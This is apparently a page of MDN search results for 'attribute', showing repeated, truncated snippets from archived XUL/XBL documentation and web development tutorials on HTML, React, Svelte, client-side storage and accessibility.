attribute, the handler traps all events regardless of the button that was pressed. the button
attribute should be set to either 0 for the left mouse button, 1 for the middle mouse button or 2 for the right mouse button. <handlers> <handler event="click" button="0" action="alert('left button pressed');"/> <hand...
...eft mouse button, 1 for the middle mouse button or 2 for the right mouse button. ...
...And 3 more matches
Adding Methods to XBL-defined Elements - Archive of obsolete content
. . . <body> <-- method script goes here --> </body> </method> </implementation> a method declaration goes inside the implementation element, like the fields and properties do. the method element contains two type of child elements, parameter elements which describe the parameters to the method and body which contains the script for the method. the value of the name
attribute becomes the name of the method. similarly, the name
attributes on the parameter elements become the names of each parameter. each parameter element is used to declare one parameter for the method. for example, if the method had three parameters, there would be three parameter elements. you do not need to have any though, in which case the method would take no parameters. the body element contain...
...each calls the 'showtitle' method. this method checks to see whether the elemen...
...each calls the 'showtitle' method. this method checks to see whether the element is being hidden or shown from the 'state' parameter that is passed in. in either case, it grabs the first e...
...And 3 more matches
Adding Properties to XBL-defined Elements - Archive of obsolete content
2"/> <field name="field-name-3"/> <property name="property-name-1"/> <property name="property-name-2"/> <property name="property-name-3"/> . . . <method name="method-name-1"> -- method content goes here -- </method> . . . </implementation> </binding> fields each field is defined using the field element. often, fields would correspond to an
attribute placed on the element such as label or disabled, but they do not have to. the name
attribute on the field element is used to indicate the name of the field. you can use the name from a script to get and set the value. the example below creates a button which generates and stores a random number. you can retrieve this same number multiple times by getting the number property from the button. most ...
... sometimes you will want to validate the data that is assigned to a property. or, you may want the value to be calculated dynamically as it's asked for. for example, if you want a property that holds the current time, you would want to have its value generated as needed. in these cases, you need to use a property tag instead of a field tag. its syntax is similar but has additional features. onget
attribute and onset
attribute you can use the onget and onset
attributes to have code execute when the property is retrieved or modified. add each to the property element and set its value to a script which either gets or sets the value of the property. for example, you could assign a script to the value of onget to calculate the current time. whenever a script attempts to access the value of the property,...
.... this script uses the value passed in the val variable and assigns it to the size property of the banana in some manner. note that unlike a field, a property does not hold a value. attempting to set a property that does not have an onset handler will generate an error. you will often use a separate field to hold the actual value of the property. it is also common to have the properties match an
attribute on the xbl-defined element. the following example maps a property to an
attribute on an element. <property name="size" onget="return this.get
attribute('size');" onset="this.set
attribute('size', val);" /> whenever a script attempts to get the value of the property, it is grabbed instead from the
attribute on the element with the same name. whenever a script attempts to set the...
...And 3 more matches
Advanced Rules - Archive of obsolete content
rule syntax, the conditions are placed directly on the rule element itself. if the conditions match for a resource, the content placed within the actions tag is generated. in the simple syntax, the content is placed directly inside the rule. rule conditions when a tree, menu or other element with a datasource generates content, the template builder first finds the resource referred to by the ref
attribute. it then iterates over all that resource's child resources. it applies each resource to the conditions. if the conditions match for that resource, the content in the actions element is generated for that resource. if the conditions do not match, no content is generated. content element the conditions element can contain three elements. the first is the content element, which should always exist o...
... the conditions element can contain three elements. the first is the content element, which should always exist once and only once. it serves as a placeholder as the template builder iterates through the resources. it specifies the name of a variable in which is placed a reference to the root resource while the conditions are analyzed for a match. the root resource is the one specified by the ref
attribute on the element containing the template. the syntax of the content element is as follows: <content uri="?var"/> the question mark indicates that the text following it is a variable. you can then use the variable 'var' within the remainder of the conditions. of course, you can name the variable whatever you want. member element the next element is the member element, which is used to iterate throu...
...this resource will be placed in the 'list' variable as specified by the content tag. we can then get related resources to the root resource by using the 'list' variable. the template builder then sees the member element. it causes the builder to iterate over the children of an element. the parent is specified by the container att...
...And 3 more matches
Content Panels - Archive of obsolete content
t which may be used to create wizard interfaces. this will be described in a later section. another approach is to use the iframe element, which works much like the html element of the same name. it creates a separate document within the window. it has the advantage that it can be placed anywhere and the contents can be loaded from a different file. set the url to appear in the frame with the src
attribute. this url may point to any kind of file, although it will usually point to an html file or another xul file. you can use a script to change the contents of the iframe without affecting the main window. in the mozilla browser window, the area where the web page is displayed is created by using an iframe. when the user enters a url or clicks on a link in a document, the source of the frame is chang...
... containing two elements: a toolbox and an iframe. a back button, a forward button and a field for typing is urls has been added to the only toolbar (we'll learn about toolbar in a later section). the web pages would appear inside the iframe. in this case, the file index.html would appear by default. this example isn't functionally complete. next, we would want to add script which changes the src
attribute at the desired time, for example when the user presses the enter key. browsers there is a second type of content panel, using the browser tag. you would use this when you want to create a frame that displays content like a browser. actually, the iframe can do this too, but the browser has a variety of additional features. for example, the browser maintains a page history for use with back an...
...d by the mozilla browser for its tabbed browsing interface. the tabbrowser element is actually implemened as a tabbox containing a set of browser elements. both types of browser offer similar control over pages that are displayed. browser example example 2 : source view <browser src="http://www.mozilla.org" flex="1" /> as with the iframe, you can specify the url in a browser using the src
attribute. for a tabbrowser, you cannot set the url directly like this, as it doesn't display just one url. instead, you must use a script and call the loaduri function. there are three classes of browser, depending on the kind of content that you want to display inside. the type may be specified using the type
attribute. the first type is the default and is used if you don't specify a type. in this case, ...
...And 3 more matches
Creating a Wizard - Archive of obsolete content
izard is a special type of dialog that contains a number of pages. buttons appear at the bottom of the dialog to allow navigation between pages. the wizards are often used to help the user perform a complex task. each page contains a single question or a set of related questions. after the last page, the operation is carried out. xul provides a wizard element which can be used to create wizards.
attributes placed on the wizard are used to control the wizard navigation. when creating a wizard, use the wizard tag instead of the window tag. the content of the wizard element includes the content of each page of the wizard. the pages of the wizard are created using the wizardpage element. you can place whatever content you want inside each wizardpage. note that wizards currently only work properly fr...
...urls. the wizard consists of several sections. the exact layout will vary according to the os for the platform. wizards will generally be displayed using customs that are familiar to the user of a particular os. a typical layout will include a title across the top, a set of navigation buttons across the bottom and the page contents in between. the title across the top is created using the title
attribute, much like one would use for regular windows. the navigation buttons are created automatically. an example wizard source <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wizard id="example-window" title="select a dog wizard" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <wizardpage> <description> this wizard will h...
...cally, with a title across the top and a set of buttons along the bottom. the user can navigate between the pages of the wizard with the back and next buttons. these buttons will enable and disable themselves at the appropriate moments. in addition, on the last page, the finish button will appear. all of this is automatic, so you don't have to do anything to manipulate the pages. the description
attribute may optionally be placed on a wizardpage element to provide a sub-caption for that page. in the example above, it has been placed on the second page, but not the first page. handling page changes you will generally want to do something once the finish button is pressed. you can set an
attribute onwizardfinish on the wizard element to accomplish this. set it to a script which performs whatever t...
...And 3 more matches
Focus and Selection - Archive of obsolete content
ment per window has the focus at a time. the user can change the focus by clicking an element with the mouse or by pressing the tab key. when the tab key is pressed, the next element is given the focus. to step backwards, the shift key and tab key can be pressed. rearranging the tab order you can change the order in which elements are focused when the user presses the tab key by adding a tabindex
attribute to an element. this
attribute should be set to a number. when the user presses tab, the focus will shift to the element with the next highest tab index. that means that you can order the elements by setting indices on elements in sequence. usually, however, you would not set the tabindex
attribute. if you do not, pressing tab will set the focus to the next displayed element. you only need to set ...
...er. here is an example: example 1 : source view <button label="button 1" tabindex="2"/> <button label="button 2" tabindex="1"/> <button label="button 3" tabindex="3"/> the focus event the focus event is used to respond when the focus is given to an element. the blur event is used to respond when the focus is removed from an element. ...
...this function will change the value of the text label. ...
...And 3 more matches
broadcaster - Archive of obsolete content
if the label changes, the labels of the observers will update automatically. an onbroadcast event will be sent to the observers when a change is made. for menuitems or buttons that just want to have their disabled status set when the feature should be disabled, you should use a command element instead. ...
...if the label changes, the labels of the observers will update automatically. an onbroadcast event will be sent to the observers when a change is made. for menuitems or buttons that just want to have their disabled status set when the feature should be disabled, you should use a command element instead. ...
...if the label changes, the labels of the observers will update automatically. an onbroadcast event will be sent to the observers when a change is made. for menuitems or buttons that just want to have their disabled status set when the feature should be disabled, you should use a command element instead. ...
...And 3 more matches
listhead - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a header row of a listbox. it is usual to place listheader elements inside the listhead, one for each column.
attributes disabled properties acesssibletype, disabled examples (example needed)
attributes disabled type: boolean indicates whether the element is disabled or not. if this
attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire. in the case of form elements, it will not be submitted. ...
...d)
attributes disabled type: boolean indicates whether the element is disabled or not. if this
attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire. in the case of form elements, it will not be submitted. do not set the
attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled
attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this
attribute out entirely. visible controls have a disabled property which...
...lement again, which is not the case. the disabled
attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this
attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the
attribute, as it may need to update additional state. inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orien...
...And 3 more matches
menubar - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a container that usually contains menu elements. on the macintosh, the menubar is displayed along the top of the screen, and all non-menu related elements inside the menubar will be ignored. to look native (at least on windows), the menubar element needs to be placed inside a toolbox element. more information is available in the xul tutorial. ...
...
attributes | properties | methods | related ] a container that usually contains menu elements. on the macintosh, the menubar is displayed along the top of the screen, and all non-menu related elements inside the menubar will be ignored. to look native (at least on windows), the menubar element needs to be placed inside a toolbox element. more information is available in the xul tutorial. ...
... properties accessiblety...
...And 3 more matches
treeitem - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a treeitem should be placed inside a treechildren element and should contain treerow elements. the treeitem can be clicked by the user to select the row of the tree. the treeitem contains a single row and all of what appear to the user as that row's descendants. in a template condition, you should use a treeitem instead of a content element when the dont-build-content flag is specified. set the uri
attribute to the variable name to bind to a content node during matching. more information is available in the xul tutorial. ...
...er to select the row of the tree. the treeitem contains a single row and all of what appear to the user as that row's descendants. in a template condition, you should use a treeitem instead of a content element when the dont-build-content flag is specified. set the uri
attribute to the variable name to bind to a content node during matching. more information is available in the xul tutorial.
attributes container, empty, label, open, uri examples (example needed)
attributes container type: boolean set to true if the element is to act as a container which can have child elements. this would be used for folders. this will be set by the template builder as needed. empty type: boolean set to true if the element is a container that contains no children. this will be set by the...
... container that contains no children. this will be set by the template builder as needed. label tipo: string (concatenación de caracteres) para un árbol tree con columnas simples, la etiqueta puede ser colocada directamnete sobre el elemeto "treeitem" sin la necesidad de una fila "row" y un elemento "treeitem" dentro. open type: boolean for the menu type buttons, the open
attribute is set to true when the menu is open. the open
attribute is not present if the menu is closed. uri type: string for template-generated content, the
attribute should be placed on the element where content generation should begin. thus, it should be placed on an element that is a descendant of a template. the value should be set to rdf:*. elements that appear inside the element with th...
...And 3 more matches
Gecko Compatibility Handbook - Archive of obsolete content
in case. internet explorer incorrectly specifies height and width of inline elements such as span. internet explorer implements the box model (padding, margins, borders) incorrectly. do not use internet explorer's invalid implementation of css. use only the cross-browser, standards conformant features of css. use consistent case when writing html id and class name
attributes and css styles for those ids and classes. do not specify heights or widths on inline elements such as spans. use only cross-browser box specifications for margins, padding and borders. (more about css) content differs in gecko browsers and internet explorer incorrect layout mode specified by doctype. if pages should be displayed by legacy browsers such as netsc...
...oes not try to 'sniff' the mime type for a document in order to reduce the possibility of unsecure, dangerous content masquerading as as a safe mime type. use perl's head utitility to determine the actual mime type being used by the web server. correct any incorrect server mime types. (related article) stylesheet is not being recognized the presence of the title
attribute in a link element that references an external stylesheet can cause the stylesheet may be causing the external stylesheet to be ignored. make sure that any stylesheet which should always be applied is persistent instead of preferred. (related article) connecting to a secure site fails, but connects in internet explorer the web server does not properly implement t...
...rectly. however internet explorer treats all css id's as case-insensitive and will not display this example correctly. <style type="text/css"> #id1 { text-decoration: line-through; } #id1 { text-decoration: underline; } </style> <div id="id1"> should be line-through </div> <div id="id1"> should be underline </div> -(example removed)- note that the w3c's html validator will flag html id
attributes as duplicates if they only differ due to case. there appears to be some inconsistency between the actual html 4.01 recommendation and the sgml declaration for html on whether id
attributes are case sensitive or not. this is unfortunate since the html validator is one of the primary vehicles web developers have for learning about the standards. due to the common nature of this error, netscape 6.
...And 3 more matches
SAX - Archive of obsolete content
implementing sax handler interfaces, depending on what kind of information they need to get from the parser. after the parsing process is started, handlers receive a series of callbacks for the content of xml being parsed. the following handlers are available: interface purpose nsisaxcontenthandler receive notification of the logical content of a document (e.g. elements,
attributes, whitespace, and processing instructions). nsisaxdtdhandler receive notification of basic dtd-related events. nsisaxerrorhandler receive notification of errors in the input stream. nsisaxlexicalhandler sax2 extension handler for lexical events (e.g. comment and cdata nodes, dtd declarations, and entities). an example implementation of the most commonly ...
... cdata nodes, dtd declarations, and entities). ...
... dtd declarations, and entities). ...
...And 3 more matches
Developing cross-browser and cross-platform pages - Archive of obsolete content
when you use object/feature support detection, you only implement those features whose support you have first tested and verified on the visiting browser. this method has the advantage of not requiring you to test for anything except whether the particular features you code are supported in the visiting browser. let's see a basic, simple object support detection example. ...
...e support you have first tested and verified on the visiting browser. this method has the advantage of not requiring you to test for anything except whether the particular features you code are supported in the visiting browser. let's see a basic, simple object support detection example. ...
...isiting browser. this method has the advantage of not requiring you to test for anything except whether the particular features you code are supported in the visiting browser. let's see a basic, simple object support detection example. ...
...And 3 more matches
Browser Feature Detection - Archive of obsolete content
document.createelement() true true true document.createdocumentfragment() true true true document.createtextnode() true true true document.createcomment() true true true document.createcdatasection() true false true document.createprocessinginstruction() true false true document.create
attribute() true true true document.createentityreference()obsolete since gecko 7 (method present but only returns null: bug 9850) false false document.getelementsbytagname() true true true dom core level 2 support for properties/methods in document name firefox 1.5 ie 6 & 7 opera 8.54 - 9.01 document.doctype true true ...
... document.createelement() true true true document.createdocumentfragment() true true true document.createtextnode() true true true document.createcomment() true true true document.createcdatasection() true false true document.createprocessinginstruction() true false true document.create
attribute() true true true document.createentityreference()obsolete since gecko 7 true false false document.getelementsbytagname() true true true document.importnode() true false true document.createelementns() true false true document.create
attributens() true false true document.getelementsbytagname...
... in document name firefox 1.5 ie 6 & 7 opera 8.54 - 9.01 document.documentelement true true true document.createelement() true true true document.createdocumentfragment() true true true document.createtextnode() true true true document.createcomment() true true true document.create
attribute() true true true document.getelementsbytagname() true true true document.title true true true document.referrer true true true document.domain true true true document.url true true true document.body true true true document.images true true true document.
...And 3 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
he feed defined in these namespaces. the act of creating an e4x object is quite simple, in the case of listing 3, we do this through the line var x = new xml( str ); from here, the xml is accessible via dot notation. notice during the processing of the item element where we use the rdf and dc namespace to access the about
attribute of the item element, and the date element respectively. the syntax for accessing e4x objects is actually quite natural and certainly easier than most methods. javascript engines such as rhino and spidermonkey on their own have proven to be a useful and powerful tool to the developer. however, taking advantage of frameworks such as aptana jaxer (spidermonkey) and helma (rh...
...he client-side but also some flavor of a server-side web language, jaxer puts all the rich capability of a server-side language into javascript. this accounts for added simplicity and promotes rapid development methodologies. managing context to take advantage of all the operating contexts of jaxer, you'll need to specify how your scripts should behave using the runat
attribute of the script tag (or by setting a runat property on a javascript function object). the common values for this
attribute are explained below, though there are more than just these. runat=”client” – code contained in this block is restricted to execution client-side, which is also what happens if no runat
attribute is specified. runat=”server” – code...
...ttribute is specified. runat=”server” – code contained in this block is restricted to execution server-side. runat=”both” – code may be invoked on the client or server side. runat=”server-proxy” – allows for the exposure of server-side javascript functions to the browser. jaxer manages ajax calls behind the scenes to accomplish this. while most of the runat
attribute values above are self explanatory, the server-proxy concept is best explained through example. consider the code in listing 4. listing 4 - demonstration of server and client context <script runat="server"> function exposed() { return "exposed to the browser"; } function notexposed() { return "can't see me!"; } </script> <script runat="client"> alert( exposed() ); al...
...And 3 more matches
XForms Select Element - Archive of obsolete content
lows the user to choose one or more selections from a list of pre-defined items (see the spec). the list of pre-defined items can be specified by either item (see the spec) or itemset (see the spec) elements. you can visually group these pre-defined items by using the choices (see the spec) element to contain them. note, some representations of the select element do not support visual grouping.
attributes ui common appearance - the value of this
attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control. accesskey - used to specify the keyboard shortcut for focusing this control. single-node binding special selection - isn't currently supported. this
attribute, when set to 'open', allows the user to provide free entry to the list. possibl...
...this control. accesskey - used to specify the keyboard shortcut for focusing this control. single-node binding special selection - isn't currently supported. this
attribute, when set to 'open', allows the user to provide free entry to the list. possible values are open and closed, default is closed. incremental - supported, default value is true properties selection - see corresponding
attribute incremental - see corresponding
attribute type restrictions the select element can be bound to a node containing simple content capable of holding a sequence. the data binding restriction to simple content may be relaxed when an itemset element is used, which allows the available choices to be obtained from an xforms model. the relaxation happens when the itemset element specifies the item va...
...e choices to be obtained from an xforms model. the relaxation happens when the itemset element specifies the item value using a copy (see spec) element. this is because a copy element can be used to add a subtree of nodes underneath the element that the select control is bound to. ...
...And 3 more matches
Correctly Using Titles With External Stylesheets - Archive of obsolete content
external stylesheets are often associated with html documents using the <link rel="stylesheeet"> element, but it is important to use the element's title
attribute properly. this is because the title
attribute on a <link rel="stylesheeet"> element makes it either preferred or an alternative style sheet. this can lead to a stylesheet being ignored, which is typically not what an author intends to do. why titles matter the title
attribute affects how your external stylesheet is applied to a document. ...
... there are three kinds of stylesheets that are possible: persistent, preferred, and alternate stylesheets. ...
... there are three kinds of stylesheets that are possible: persistent, preferred, and alternate stylesheets. ...
...And 3 more matches
RDF in Mozilla FAQ - Archive of obsolete content
netscape.com/nc-rdf#bookmarksroot"), rdf.getresource("http://home.netscape.com/nc-rdf#child"), rdf.getresource("http://home.netscape.com/nc-rdf#personaltoolbarfolder"), true) { // ... } alternatively, some datasources have "special" rdf-friendly contractids that make it easy to instantiate the datasource using either the nsirdfserivce's getdatasource() method or the datasources
attribute on a xul template. these contractids are of the form @mozilla.org/rdf/datasource;1?name=name and are accessable via getdatasource() and the datasources
attribute using the shorthand rdf:name. for example, the following xul fragment illustrates how to add the bookmarks service as a datasource into a xul template. <tree datasources="rdf:bookmarks"> ... </tree> how do i manipulate rdf "conta...
...r hands too dirty. alternatively, if your datasource already has an object that is an rdf container, you can instantiate an nsirdfcontainer object with the @mozilla.org/rdf/container;1 contractid and init() it with the datasource and resource as parameters. note that this will fail if the resource isn't already a container. xul templates xul templates are created by specifying a datasources
attribute on an element in a xul document. there are two "forms" that xul templates may be written in. the "simple" form, which is currently the most common form in the mozilla codebase, and the "extended" form, which allows for sophisticated pattern matching against the rdf graph. see the xul:template guide. (these are bizarrely arranged because the eventual intent is to introduce templates using the ext...
...nc with your changes. in order to take advantage of this functionality, you must of course be able to express your information in terms of the rdf datasource api, either by using the built-in memory datasource, using rdf/xml to store your information, or writing your own implementation (possibly in javascript) of nsirdfdatasource. what gets loaded when i specify "datasources=" the datasources
attribute on the "root" of a template specifies a whitespace-separated list of datasource uris to load. but what is a "datasource uri"? it is either: an abbreviated contractid for a locally installed component. by specifying rdf:name, you instruct the template builder to load the xpcom component with the contractid @mozilla.org/rdf/datasource;1?name=name. the url of an rdf/xml file. for example, file...
...And 3 more matches
XUL Parser in Python - Archive of obsolete content
warning: the content of this article may be out of date. this article is from 2000. v.00001 to celebrate activestate's recent announcement about support for perl and python in mozilla, i have put together this little python script that parses your local xul and builds a list of all the xul elements and their
attributes in an html page. with new widgets and
attributes landing all the time, i wanted to get some quicker way of looking at the xul--at particular builds, at particular widgets, at which elements had which
attributes, etc. the script writes out all the
attributes and none of the values, but the parser itself is seeing the elements, their
attributes, and the values of those
attributes, and you just have to ask for them if you want them. for example, you could easily adapt this...
...ould get a modify date from the files as you open them. how the script works as i said before, there isn't too much to explain in this script, particularly if you have used python's xmllib parser before. at the middle of it is a subclass of the xmllib parser that overrides that parser's unknown_starttag method and asks it to do all the work. the unknown_starttag handler is fed the tag name, the
attributes of that tag, and the
attributes' values, so all you have to do as you hit each xul element is build up a nested dictionary of elements and their associated
attributes. after all the xul files in the specified directory and its subdirectories are fed to the parser and parsed (using the win32 system's <tt>dir /s /b *.xul</tt> command), the dictionary of dictionaries is sorted and written into an h...
... into an html table. the xml namespace support in xmllib was resolving the xul and html namespaces in a very annoying way, so i have an additional function, strip(), that takes off the whole namespace that xmllib is trying to tack onto the front of each item it finds in the xml. some modifications to this script may suggest other uses. ...
...And 3 more matches
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
(firefox supports a subset of it, and is used in the code sample below), xinclude can also target just specific portions of a document for inclusion. firefox does not support it natively, but the following function aims to allow its use with documents passed into it. code sample the following code aims to let <xi:include> and <xi:fallback> tags (the two elements in the language) with all of the
attributes of <xi:include> be included in an xml document so as to be resolvable into a single xml document. (note that this has not been thoroughly tested for all circumstances and may not necessarily reflect the standard behavior completely.) note also that if you wish to allow xml:base, you will need the xml:base function, and the line beginning var href = ... should become: var href = getxmlbaselink...
...document so as to be resolvable into a single xml document. (note that this has not been thoroughly tested for all circumstances and may not necessarily reflect the standard behavior completely.) note also that if you wish to allow xml:base, you will need the xml:base function, and the line beginning var href = ... ...
...include.get
attribute('href'), /* element to query from */ xinclude); function resolvexincludes(docu) { // http://www.w3.org/tr/xinclude/#xml-included-items var xincludes = docu.getelementsbytagnamens('http://www.w3.org/2001/xinclude', 'include'); if (xincludes) { for (i=0; i < xincludes.length; i++) { var xinclude = xincludes[i]; var href = xinclude.get
attribute('href'); var parse = xinclude.get
attribute('parse'); var xpointer = xinclude.get
attribute('xpointer'); var encoding = xinclude.get
attribute('encoding'); // e.g., utf-8 // "text/xml or application/xml or matches text/*+xml or application/*+xml" before encoding (then utf-8) var accept = xinclude.get
attribute('accept'); // header "accept: "+x ...
...And 3 more matches
Debugging HTML - Learn web development
html debugging examples</h1> <p>what causes errors in html? <ul> <li>unclosed elements: if an element is <strong>not closed properly, then its effect can spread to areas you didn't intend <li>badly nested elements: nesting elements properly is also very important for code behaving correctly. <strong>strong <em>strong emphasised?</strong> what is this?</em> <li>unclosed
attributes: another common source of html problems. let's look at an example: <a href="https://www.mozilla.org/>link to mozilla homepage</a> </ul> let's review the problems: the paragraph and list item elements have no closing tags. looking at the image above, this doesn't seem to have affected the markup rendering too badly, as it is easy to infer where one element should end and anot...
...rong> element has no closing tag. this is a bit more problematic, as it isn't easy to tell where the element is supposed to end. in fact, the whole of the rest of the text has been strongly emphasised. this section is badly nested: <strong>strong <em>strong emphasised?</strong> what is this?</em>. it is not easy to tell how this has been interpreted because of the previous problem. the href
attribute value is missing a closing double quote. this seems to have caused the biggest problem — the link has not rendered at all. now let's look at the markup the browser has rendered, as opposed to the markup in the source code. to do this, we can use the browser developer tools. if you are not familiar with how to use your browser's developer tools, take a few minutes to review discover browse...
... has wrapped each separate block of text with its own strong tag, right down to the bottom of the document! the incorrect nesting has been fixed by the browser as shown here: <strong>strong <em>strong emphasised?</em> </strong> <em> what is this?</em> the link with the missing double quote has been deleted altogether. the last list item looks like this: <li> <strong>unclosed
attributes: another common source of html problems. let's look at an example: </strong> </li> html validation so you can see from the above example that you really want to make sure your html is well-formed! but how? in a small example like the one seen above, it is easy to search through the lines and find the errors, but what about a huge, complex html document? the best strategy is to sta...
...And 3 more matches
Image gallery - Learn web development
n, the darken effect is removed again. to give you more of an idea, have a look at the finished example (no peeking at the source code!) steps to complete the following sections describe what you need to do. looping through the images we've already provided you with lines that store a reference to the thumb-bar <div> inside a constant called thumbbar, create a new <img> element, set its src
attribute to a placeholder value xxx, and append this new <img> element inside thumbbar. you need to: put the section of code below the "looping through images" comment inside a loop that loops through all 5 images — you just need to loop through five numbers, one representing each image. in each loop iteration, replace the xxx placeholder value with a string that will equal the path to the image in...
... <img> element inside thumbbar. you need to: put the section of code below the "looping through images" comment inside a loop that loops through all 5 images — you just need to loop through five numbers, one representing each image. in each loop iteration, replace the xxx placeholder value with a string that will equal the path to the image in each case. ...
... alternatively, you can add one event listener to the thumb bar. ...
...And 3 more matches
Client-side storage - Learn web development
amedisplaycheck; your example is finished — well done! all that remains now is to save your code and test your html page in a browser. you can see our finished version running live here. note: there is another, slightly more complex example to explore at using the web storage api. note: in the line <script src="index.js" defer></script> of the source for our finished version, the defer
attribute specifies that the contents of the <script> element will not execute until the page has finished loading. storing complex data — indexeddb the indexeddb api (sometimes abbreviated idb) is a complete database system available in the browser in which you can store complex related data, the types of which aren't limited to simple values like strings or numbers. you can store videos, images, and...
...i'); const h3 = document.createelement('h3'); const para = document.createelement('p'); listitem.appendchild(h3); listitem.appendchild(para); list.appendchild(listitem); // put the data from the cursor inside the h3 and para h3.textcontent = cursor.value.title; para.textcontent = cursor.value.body; // store the id of the data item inside an
attribute on the listitem, so we know // which item it corresponds to. this will be useful later when we want to delete items listitem.set
attribute('data-note-id', cursor.value.id); // create a button and place it inside each listitem const deletebtn = document.createelement('button'); listitem.appendchild(deletebtn); deletebtn.textcontent = 'delete'; // set an e...
...n a note's delete button is pressed, the note is deleted. this is achieved by the deleteitem() function, which looks like so: // define the deleteitem() function function deleteitem(e) { // retrieve the name of the task we want to delete. we need // to convert it to a number before trying it use it with idb; idb key // values are type-sensitive. ...
...And 3 more matches
Getting started with React - Learn web development
to reload. </p> <a classname="app-link" href="https://reactjs.org" target="_blank" rel="noopener noreferrer" > learn react </a> </header> </div> ); } the app function returns a jsx expression. this expression defines what your browser ultimately renders to the dom. ...
... href="https://reactjs.org" target="_blank" rel="noopener noreferrer" > learn react </a> </header> </div> ); } the app function returns a jsx expression. this expression defines what your browser ultimately renders to the dom. some elements in the expression have
attributes, which are written just like in html, following a pattern of
attribute="value". on line 3, the opening <div> tag has a classname
attribute. ...
... learn react </a> </header> </div> ); } the app function returns a jsx expression. this expression defines what your browser ultimately renders to the dom. some elements in the expression have
attributes, which are written just like in html, following a pattern of
attribute="value". on line 3, the opening <div> tag has a classname
attribute. this is the same as the class
attribute in html, but because jsx is javascript, we can't use the word class — it's reserved, meaning javascript already uses it for a specific purpose and it would cause problems here in our code. a few other html
attributes are written differently in jsx than they are in html too, for the same kind of reason. we'll cover them as we encounter them. take a moment to change the <p> tag on line 6 so that...
...And 3 more matches
Starting our Svelte Todo list app - Learn web development
n to cancel or save modifications. if the task is not being edited, there's a checkbox to set the completed status, and two buttons to edit or delete the task. finally there are two buttons to check/uncheck all task and to remove completed tasks. in subsequent articles we'll get all these features working, and more besides. accessibility features of the todo list you may notice some unusual
attributes here. for example: <button class="btn toggle-btn" aria-pressed="true"> <span class="visually-hidden">show</span> <span>all</span> <span class="visually-hidden">tasks</span> </button> here, aria-pressed tells assistive technology (like screen readers) that the button can be in one of two states: pressed or unpressed. think of these as analogs for on and off. setting a value of true means ...
...ill available to screen reader users — this is because these words are not needed by sighted users; they are there to provide more information about what the button does for screenreader users that do not have the extra visual context to help them. further down, you can find the following <ul> element: <ul role="list" classname="todo-list stack-large" aria-labelledby="list-heading"> the role
attribute helps assistive technology explain what kind of semantic value an element has — or what its purpose is. a <ul> is treated like a list by default, but the styles we're about to add will break that functionality. this role will restore the "list" meaning to the <ul> element. if you want to learn more about why this is necessary, you can check out scott o'hara’s article, “fixing lists”. th...
...echnology explain what kind of semantic value an element has — or what its purpose is. a <ul> is treated like a list by default, but the styles we're about to add will break that functionality. this role will restore the "list" meaning to the <ul> element. if you want to learn more about why this is necessary, you can check out scott o'hara’s article, “fixing lists”. the aria-labelledby
attribute tells assistive technologies that we're treating our <h2> with an id of list-heading as the label that describes the purpose of the list beneath it. making this association gives the list a more informative context, which could help screen reader users better understand the purpose of it. this seems like a good time to talk about how svelte deals with accessibility; let's do that now. svelte ac...
...And 3 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
we've turned our static markup into a dynamic template ready to display the tasks from our component's state. great! we are getting there. working with props with a hardcoded list of todos, our todos component is not very useful. to turn our component into a general purpose to-do editor we should allow the parent of this comp...
...e}</span> </button> <button type="button" class="btn btn__danger"> delete <span class="visually-hidden">{todo.name}</span> </button> </div> </div> </li> {:else} <li>nothing to do here!</li> {/each} </ul> notice how we are using curly braces to embed javascript expressions in html
attributes, like we did with the checked and id
attributes of the checkbox. we've turned our static markup into a dynamic template ready to display the tasks from our component's state. great! we are getting there. working with props with a hardcoded list of todos, our todos component is not very useful. to turn our component into a general purpose to-do editor we should allow the parent of this component to pass in the list of todos to edit. this...
...which means it becomes accessible to consumers of the component. you can also specify a default initial value for a prop. this will be used if the component's consumer doesn't specify the prop on the component — or if its initial value is undefined — when instantiating the component. so with export let todos = [], we are telling svelte that our todos.svelte component will accept a todos
attribute, which when omitted will be initialized to an empty array. have a look at the app, and you'll see the "nothing to do here!" message. this is because we are currently not passing any value into it from app.svelte, so it's using the default value. now let's move our todos to app.svelte and pass them to the todos.svelte component as a prop. update src/app.svelte as follows: <script> ...
...And 3 more matches
Handling common accessibility problems - Learn web development
s activated when you press certain keys on the keyboard. see desktop mouse and keyboard controls for some game-related examples that can be adapted for any purpose. use some interesting tactics to fake button behaviour. take for example our fake-div-buttons.html example (see source code). here we've given our fake <div> buttons the ability to be focused (including via tab) by giving each one the
attribute tabindex="0" (see webaim's tabindex article for more really useful details). this allows us to tab to the buttons, but not to activate them via the enter/return key. to do that, we had to add the following bit of javascript trickery: document.onkeydown = function(e) { if(e.keycode === 13) { // the enter/return key document.activeelement.onclick(e); } }; here we add a listener to the d...
...ty back in. and there's bound to be other problems with it. better to just use the right element for the right job in the first place. text alternatives text alternatives are very important for accessibility — if a person has a visual or hearing impairment that stops them being able to see or hear some content, then this is a problem. the simplest text alternative available is the humble alt
attribute, which we should include on all images that contain relevant content. this should contain a description of the image that successfully conveys its meaning and content on the page, to be picked up by a screenreader and read out to the user. note: for more information, read text alternatives. missing alt text can be tested for in a number of ways, for example using accessibility auditing tools.
